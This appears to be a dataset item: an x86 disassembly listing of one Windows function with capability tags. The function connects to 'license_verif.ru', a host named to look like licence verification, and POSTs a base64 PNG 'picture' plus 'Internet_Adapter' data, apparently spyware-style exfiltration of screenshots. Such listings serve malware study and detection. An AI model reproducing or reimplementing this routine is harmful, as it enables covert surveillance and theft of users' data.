Function at 0x4123a0
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x436bd7
mov eax, dword fs:[0]
push eax
sub esp, 0x618
mov eax, dword [0x44a068]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x4d4], edi
mov dword [ebp - 0x4d0], edi
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x48c]
mov dword [ebp - 0x4d0], edi
mov dword [ebp - 0x4c4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x4c0], eax
call fcn.004121c0
push 0
push 0
push 0
push 1
push str.MyScreenshotApp
mov dword [ebp - 4], 0
call dword [sym.imp.WININET.dll_InternetOpenW]
mov esi, eax
mov dword [ebp - 0x4cc], esi
test esi, esi
jne 0x41247f
push 0x1f
mov dword [edi + 0x10], eax
mov ecx, edi
mov dword [edi + 0x14], 0xf
push str.Failed_to_open_internet_session
mov byte [edi], al
call fcn.00404860
mov edx, dword [ebp - 0x478]
cmp edx, 0x10
jb 0x412478
mov ecx, dword [ebp - 0x48c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41246e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41332a
push edx
push ecx
call fcn.00419245
add esp, 8
mov eax, edi
jmp 0x41330f
push dword [ebp - 0x4c4]
lea ecx, [ebp - 0x42c]
call fcn.00403620
mov byte [ebp - 4], 1
lea eax, [ebp - 0x42c]
mov edx, dword [ebp - 0x418]
cmp edx, 8
mov ecx, dword [ebp - 0x41c]
cmovae eax, dword [ebp - 0x42c]
cmp word [eax + ecx*2 - 2], 0x2f
je 0x4124f9
cmp ecx, edx
jae 0x4124de
lea eax, [ecx + 1]
cmp edx, 8
mov dword [ebp - 0x41c], eax
lea eax, [ebp - 0x42c]
cmovae eax, dword [ebp - 0x42c]
mov dword [eax + ecx*2], 0x2f
jmp 0x4124f9
push 0x2f
mov byte [ebp - 0x4c4], 0
push dword [ebp - 0x4c4]
push ecx
lea ecx, [ebp - 0x42c]
call fcn.00414da0
push 0
push 0
push 3
push 0
push 0
push 0x50
push str.license_verif.ru
push esi
call dword [sym.imp.WININET.dll_InternetConnectW]
mov ecx, eax
mov dword [ebp - 0x4c8], ecx
test ecx, ecx
jne 0x4125a9
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1b
mov dword [edi + 0x10], 0
mov ecx, edi
mov dword [edi + 0x14], 0xf
push str.Failed_to_connect_to_server
mov byte [edi], 0
call fcn.00404860
mov edx, dword [ebp - 0x418]
cmp edx, 8
jb 0x412587
mov ecx, dword [ebp - 0x42c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41257d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41332f
push edx
push ecx
call fcn.00419245
add esp, 8
xor eax, eax
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x418], 7
mov word [ebp - 0x42c], ax
jmp 0x41243e
cmp dword [ebp - 0x418], 8
lea eax, [ebp - 0x42c]
push 0
cmovae eax, dword [ebp - 0x42c]
push 0x84000000
push 0
push 0
push 0
push eax
push str.POST
push ecx
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov dword [ebp - 0x4d0], eax
test eax, eax
jne 0x412659
push dword [ebp - 0x4c8]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x4cc]
call esi
push 0x16
mov dword [edi + 0x10], 0
mov ecx, edi
mov dword [edi + 0x14], 0xf
push str.Failed_to_open_request
mov byte [edi], 0
call fcn.00404860
mov edx, dword [ebp - 0x418]
cmp edx, 8
jb 0x412587
mov ecx, dword [ebp - 0x42c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41257d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x41257d
jmp 0x41332a
push 0x10
push str.MyBoundary123456
lea ecx, [ebp - 0x444]
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0xf
mov byte [ebp - 0x444], 0
call fcn.00404860
lea eax, [ebp - 0x444]
mov byte [ebp - 4], 2
push eax
mov edx, str.Content_Type:_multipart_form_data__boundary
lea ecx, [ebp - 0x4a4]
call fcn.004148b0
add esp, 4
mov byte [ebp - 4], 3
lea edx, [ebp - 0x4a4]
cmp dword [ebp - 0x490], 0x10
lea ecx, [ebp - 0x474]
mov esi, dword [ebp - 0x494]
cmovae edx, dword [ebp - 0x4a4]
add esi, edx
mov dword [ebp - 0x464], 0
cmp dword [ebp - 0x490], 0x10
lea edx, [ebp - 0x4a4]
mov dword [ebp - 0x460], 7
cmovae edx, dword [ebp - 0x4a4]
xor eax, eax
mov word [ebp - 0x474], ax
mov eax, esi
sub eax, edx
mov dword [ebp - 0x4c4], edx
push eax
call fcn.00407000
push dword [ebp - 0x4d0]
lea ecx, [ebp - 0x474]
push esi
push dword [ebp - 0x4c4]
call fcn.00415570
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x624]
mov edx, dword [ebp - 0x4c0]
call fcn.00411a50
mov edx, eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x60c]
call fcn.00411cc0
mov dword [ebp - 0x4c4], eax
lea eax, [ebp - 0x444]
mov byte [ebp - 4], 6
push eax
mov edx, 0x445394
lea ecx, [ebp - 0x5f4]
call fcn.004148b0
add esp, 4
mov edi, eax
mov byte [ebp - 4], 7
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0x3d
jb 0x4127aa
lea eax, [ecx + 0x3d]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0x10
jb 0x412791
mov eax, dword [edi]
push 0x3d
lea esi, [eax + ecx]
push str._r_nContent_Disposition:_form_data__name_Internet_Adapter__r_n_r_n
push esi
call fcn.0041ad50
add esp, 0xc
mov byte [esi + 0x3d], 0
jmp 0x4127c9
push 0x3d
push str._r_nContent_Disposition:_form_data__name_Internet_Adapter__r_n_r_n
mov byte [ebp - 0x4c0], 0
mov ecx, edi
push dword [ebp - 0x4c0]
push 0x3d
call fcn.00406b40
mov edi, eax
mov dword [ebp - 0x554], 0
mov dword [ebp - 0x550], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x564], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x554], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 8
lea edx, [ebp - 0x564]
push dword [ebp - 0x4c4]
lea ecx, [ebp - 0x5dc]
call fcn.00414aa0
add esp, 4
mov edi, eax
mov byte [ebp - 4], 9
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 4
jb 0x412860
lea eax, [ecx + 4]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0x10
jb 0x412847
mov eax, dword [edi]
push 4
lea esi, [eax + ecx]
push str._r_n__
push esi
call fcn.0041ad50
add esp, 0xc
mov byte [esi + 4], 0
jmp 0x41287f
push 4
push str._r_n__
mov byte [ebp - 0x4c0], 0
mov ecx, edi
push dword [ebp - 0x4c0]
push 4
call fcn.00406b40
mov edi, eax
mov dword [ebp - 0x53c], 0
mov dword [ebp - 0x538], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x54c], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x53c], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
lea eax, [ebp - 0x444]
mov byte [ebp - 4], 0xa
push eax
lea edx, [ebp - 0x54c]
lea ecx, [ebp - 0x5c4]
call fcn.00414a00
add esp, 4
mov edi, eax
mov byte [ebp - 4], 0xb
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 0x34
jb 0x412917
lea eax, [ecx + 0x34]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0x10
jb 0x4128fe
mov eax, dword [edi]
push 0x34
lea esi, [eax + ecx]
push str._r_nContent_Disposition:_form_data__name_picture__r_n_r_n
push esi
call fcn.0041ad50
add esp, 0xc
mov byte [esi + 0x34], 0
jmp 0x412936
push 0x34
push str._r_nContent_Disposition:_form_data__name_picture__r_n_r_n
mov byte [ebp - 0x4c0], 0
mov ecx, edi
push dword [ebp - 0x4c0]
push 0x34
call fcn.00406b40
mov edi, eax
mov dword [ebp - 0x4dc], 0
mov dword [ebp - 0x4d8], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x4ec], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x4dc], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x4d8]
mov eax, edx
mov ecx, dword [ebp - 0x4dc]
sub eax, ecx
push 0x16
push str.data:image_png_base64_
cmp eax, 0x16
jb 0x4129c2
cmp edx, 0x10
lea esi, [ebp - 0x4ec]
lea eax, [ecx + 0x16]
cmovae esi, dword [ebp - 0x4ec]
add esi, ecx
mov dword [ebp - 0x4dc], eax
push esi
call fcn.0041ad50
add esp, 0xc
mov byte [esi + 0x16], 0
lea eax, [ebp - 0x4ec]
jmp 0x4129dc
mov byte [ebp - 0x4c0], 0
lea ecx, [ebp - 0x4ec]
push dword [ebp - 0x4c0]
push 0x16
call fcn.00406b40
mov dword [ebp - 0x524], 0
mov dword [ebp - 0x520], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x534], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x524], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x48c]
mov byte [ebp - 4], 0xd
push eax
lea edx, [ebp - 0x534]
lea ecx, [ebp - 0x5ac]
call fcn.00414a00
add esp, 4
mov edi, eax
mov byte [ebp - 4], 0xe
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 4
jb 0x412a74
lea eax, [ecx + 4]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0x10
jb 0x412a5b
mov eax, dword [edi]
push 4
lea esi, [eax + ecx]
push str._r_n__
push esi
call fcn.0041ad50
add esp, 0xc
mov byte [esi + 4], 0
jmp 0x412a93
push 4
push str._r_n__
mov byte [ebp - 0x4c0], 0
mov ecx, edi
push dword [ebp - 0x4c0]
push 4
call fcn.00406b40
mov edi, eax
mov dword [ebp - 0x50c], 0
mov dword [ebp - 0x508], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x51c], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x50c], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
lea eax, [ebp - 0x444]
mov byte [ebp - 4], 0xf
push eax
lea edx, [ebp - 0x51c]
lea ecx, [ebp - 0x594]
call fcn.00414a00
add esp, 4
mov esi, eax
mov byte [ebp - 4], 0x10
mov ecx, dword [esi + 0x14]
mov eax, ecx
mov edi, dword [esi + 0x10]
sub eax, edi
cmp eax, 2
jb 0x412b3d
mov dword [ebp - 0x4c4], esi
lea eax, [edi + 2]
mov dword [esi + 0x10], eax
mov eax, esi
cmp ecx, 0x10
jb 0x412b1e
mov eax, dword [esi]
mov dword [ebp - 0x4c4], eax
push 2
add eax, edi
push 0x4452f8
push eax
call fcn.0041ad50
mov eax, dword [ebp - 0x4c4]
add esp, 0xc
mov byte [eax + edi + 2], 0
jmp 0x412b5c
push 2
push 0x4452f8
mov byte [ebp - 0x4c0], 0
mov ecx, esi
push dword [ebp - 0x4c0]
push 2
call fcn.00406b40
mov esi, eax
mov dword [ebp - 0x4f4], 0
mov dword [ebp - 0x4f0], 0
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x504], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x4f4], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
lea eax, [ebp - 0x444]
mov byte [ebp - 4], 0x11
push eax
lea edx, [ebp - 0x504]
lea ecx, [ebp - 0x57c]
call fcn.00414a00
add esp, 4
mov edi, eax
mov byte [ebp - 4], 0x12
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 4
jb 0x412bf4
lea eax, [ecx + 4]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0x10
jb 0x412bdb
mov eax, dword [edi]
push 4
lea esi, [eax + ecx]
push str.___r_n
push esi
call fcn.0041ad50
add esp, 0xc
mov byte [esi + 4], 0
jmp 0x412c13
push 4
push str.___r_n
mov byte [ebp - 0x4c0], 0
mov ecx, edi
push dword [ebp - 0x4c0]
push 4
call fcn.00406b40
mov edi, eax
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0x448], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x45c], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x44c], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0x568]
cmp edx, 0x10
jb 0x412c8d
mov ecx, dword [ebp - 0x57c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412c83
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41332a
push edx
push ecx
call fcn.00419245
add esp, 8
mov dword [ebp - 0x56c], 0
mov dword [ebp - 0x568], 0xf
mov byte [ebp - 0x57c], 0
mov byte [ebp - 4], 0x15
mov edx, dword [ebp - 0x4f0]
cmp edx, 0x10
jb 0x412ce6
mov ecx, dword [ebp - 0x504]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412cdc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41332a
push edx
push ecx
call fcn.00419245
add esp, 8
mov dword [ebp - 0x4f4], 0
mov dword [ebp - 0x4f0], 0xf
mov byte [ebp - 0x504], 0
mov byte [ebp - 4], 0x16
mov edx, dword [ebp - 0x580]
cmp edx, 0x10
jb 0x412d3f
mov ecx, dword [ebp - 0x594]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412d35
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41332a
push edx
push ecx
call fcn.00419245
add esp, 8
mov dword [ebp - 0x584], 0
mov dword [ebp - 0x580], 0xf
mov byte [ebp - 0x594], 0
mov byte [ebp - 4], 0x17
mov edx, dword [ebp - 0x508]
cmp edx, 0x10
jb 0x412d98
mov ecx, dword [ebp - 0x51c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412d8e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41332a
push edx
push ecx
call fcn.00419245
add esp, 8
mov dword [ebp - 0x50c], 0
mov dword [ebp - 0x508], 0xf
mov byte [ebp - 0x51c], 0
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0x598]
cmp edx, 0x10
jb 0x412df1
mov ecx, dword [ebp - 0x5ac]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412de7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41332a
push edx
push ecx
call fcn.00419245
add esp, 8
mov dword [ebp - 0x59c], 0
mov dword [ebp - 0x598], 0xf
mov byte [ebp - 0x5ac], 0
mov byte [ebp - 4], 0x19
mov edx, dword [ebp - 0x520]
cmp edx, 0x10
jb 0x412e4a
mov ecx, dword [ebp - 0x534]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412e40
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41332a
push edx
push ecx
call fcn.00419245
add esp, 8
mov dword [ebp - 0x524], 0
mov dword [ebp - 0x520], 0xf
mov byte [ebp - 0x534], 0
mov byte [ebp - 4], 0x1a
mov edx, dword [ebp - 0x4d8]
cmp edx, 0x10
jb 0x412ea3
mov ecx, dword [ebp - 0x4ec]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412e99
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41332a
push edx
push ecx
call fcn.00419245
add esp, 8
mov dword [ebp - 0x4dc], 0
mov dword [ebp - 0x4d8], 0xf
mov byte [ebp - 0x4ec], 0
mov byte [ebp - 4], 0x1b
mov edx, dword [ebp - 0x5b0]
cmp edx, 0x10
jb 0x412efc
mov ecx, dword [ebp - 0x5c4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412ef2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41332a
push edx
push ecx
call fcn.00419245
add esp, 8
mov dword [ebp - 0x5b4], 0
mov dword [ebp - 0x5b0], 0xf
mov byte [ebp - 0x5c4], 0
mov byte [ebp - 4], 0x1c
mov edx, dword [ebp - 0x538]
cmp edx, 0x10
jb 0x412f55
mov ecx, dword [ebp - 0x54c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412f4b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41332a
push edx
push ecx
call fcn.00419245
add esp, 8
mov dword [ebp - 0x53c], 0
mov dword [ebp - 0x538], 0xf
mov byte [ebp - 0x54c], 0
mov byte [ebp - 4], 0x1d
mov edx, dword [ebp - 0x5c8]
cmp edx, 0x10
jb 0x412fae
mov ecx, dword [ebp - 0x5dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412fa4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41332a
push edx
push ecx
call fcn.00419245
add esp, 8
mov dword [ebp - 0x5cc], 0
mov dword [ebp - 0x5c8], 0xf
mov byte [ebp - 0x5dc], 0
mov byte [ebp - 4], 0x1e
mov edx, dword [ebp - 0x550]
cmp edx, 0x10
jb 0x413007
mov ecx, dword [ebp - 0x564]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x412ffd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41332a
push edx
push ecx
call fcn.00419245
add esp, 8
mov dword [ebp - 0x554], 0
mov dword [ebp - 0x550], 0xf
mov byte [ebp - 0x564], 0
mov byte [ebp - 4], 0x1f
mov edx, dword [ebp - 0x5e0]
cmp edx, 0x10
jb 0x413060
mov ecx, dword [ebp - 0x5f4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x413056
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41332a
push edx
push ecx
call fcn.00419245
add esp, 8
mov dword [ebp - 0x5e4], 0
mov dword [ebp - 0x5e0], 0xf
mov byte [ebp - 0x5f4], 0
mov byte [ebp - 4], 0x20
mov edx, dword [ebp - 0x5f8]
cmp edx, 0x10
jb 0x4130b9
mov ecx, dword [ebp - 0x60c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4130af
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41332a
push edx
push ecx
call fcn.00419245
add esp, 8
mov dword [ebp - 0x5fc], 0
mov dword [ebp - 0x5f8], 0xf
mov byte [ebp - 0x60c], 0
lea ecx, [ebp - 0x624]
mov byte [ebp - 4], 0x21
call fcn.00403530
cmp dword [ebp - 0x460], 8
lea eax, [ebp - 0x474]
mov esi, dword [ebp - 0x4d0]
cmovae eax, dword [ebp - 0x474]
push 0xa0000000
push 0xffffffffffffffff
push eax
push esi
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersW]
test eax, eax
jne 0x41319b
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x4c8]
call esi
push dword [ebp - 0x4cc]
call esi
push 0x15
push str.Failed_to_add_headers
mov esi, dword [ebp - 0x4d4]
mov ecx, esi
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
call fcn.00404860
lea ecx, [ebp - 0x45c]
call fcn.004037d0
lea ecx, [ebp - 0x474]
call fcn.00403530
lea ecx, [ebp - 0x4a4]
call fcn.004037d0
lea ecx, [ebp - 0x444]
call fcn.004037d0
lea ecx, [ebp - 0x42c]
call fcn.00403530
lea ecx, [ebp - 0x48c]
call fcn.004037d0
mov eax, esi
jmp 0x41330f
push dword [ebp - 0x44c]
cmp dword [ebp - 0x448], 0x10
lea eax, [ebp - 0x45c]
cmovae eax, dword [ebp - 0x45c]
push eax
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
jne 0x4131ea
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x4c8]
call esi
push dword [ebp - 0x4cc]
call esi
push 0x16
push str.Failed_to_send_request
jmp 0x413134
push 0x400
lea eax, [ebp - 0x410]
mov dword [ebp - 0x414], 0
push 0
push eax
call fcn.0041b2d0
add esp, 0xc
mov dword [ebp - 0x4ac], 0
mov dword [ebp - 0x4a8], 0xf
mov byte [ebp - 0x4bc], 0
lea eax, [ebp - 0x414]
mov byte [ebp - 4], 0x22
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
push eax
push 0x3ff
lea eax, [ebp - 0x410]
push eax
push esi
call edi
test eax, eax
je 0x413291
nop dword [eax]
mov eax, dword [ebp - 0x414]
test eax, eax
je 0x413291
push eax
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x4bc]
call fcn.004049a0
lea eax, [ebp - 0x414]
mov dword [ebp - 0x414], 0
push eax
push 0x3ff
lea eax, [ebp - 0x410]
push eax
push esi
call edi
test eax, eax
jne 0x413250
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x4c8]
call esi
push dword [ebp - 0x4cc]
call esi
mov ecx, dword [ebp - 0x4d4]
lea eax, [ebp - 0x4bc]
push eax
call fcn.00403820
lea ecx, [ebp - 0x4bc]
call fcn.004037d0
lea ecx, [ebp - 0x45c]
call fcn.004037d0
lea ecx, [ebp - 0x474]
call fcn.00403530
lea ecx, [ebp - 0x4a4]
call fcn.004037d0
lea ecx, [ebp - 0x444]
call fcn.004037d0
lea ecx, [ebp - 0x42c]
call fcn.00403530
lea ecx, [ebp - 0x48c]
call fcn.004037d0
mov eax, dword [ebp - 0x4d4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00419004
mov esp, ebp
pop ebp
ret
call fcn.0041f2d0
call fcn.0041f2d0
int3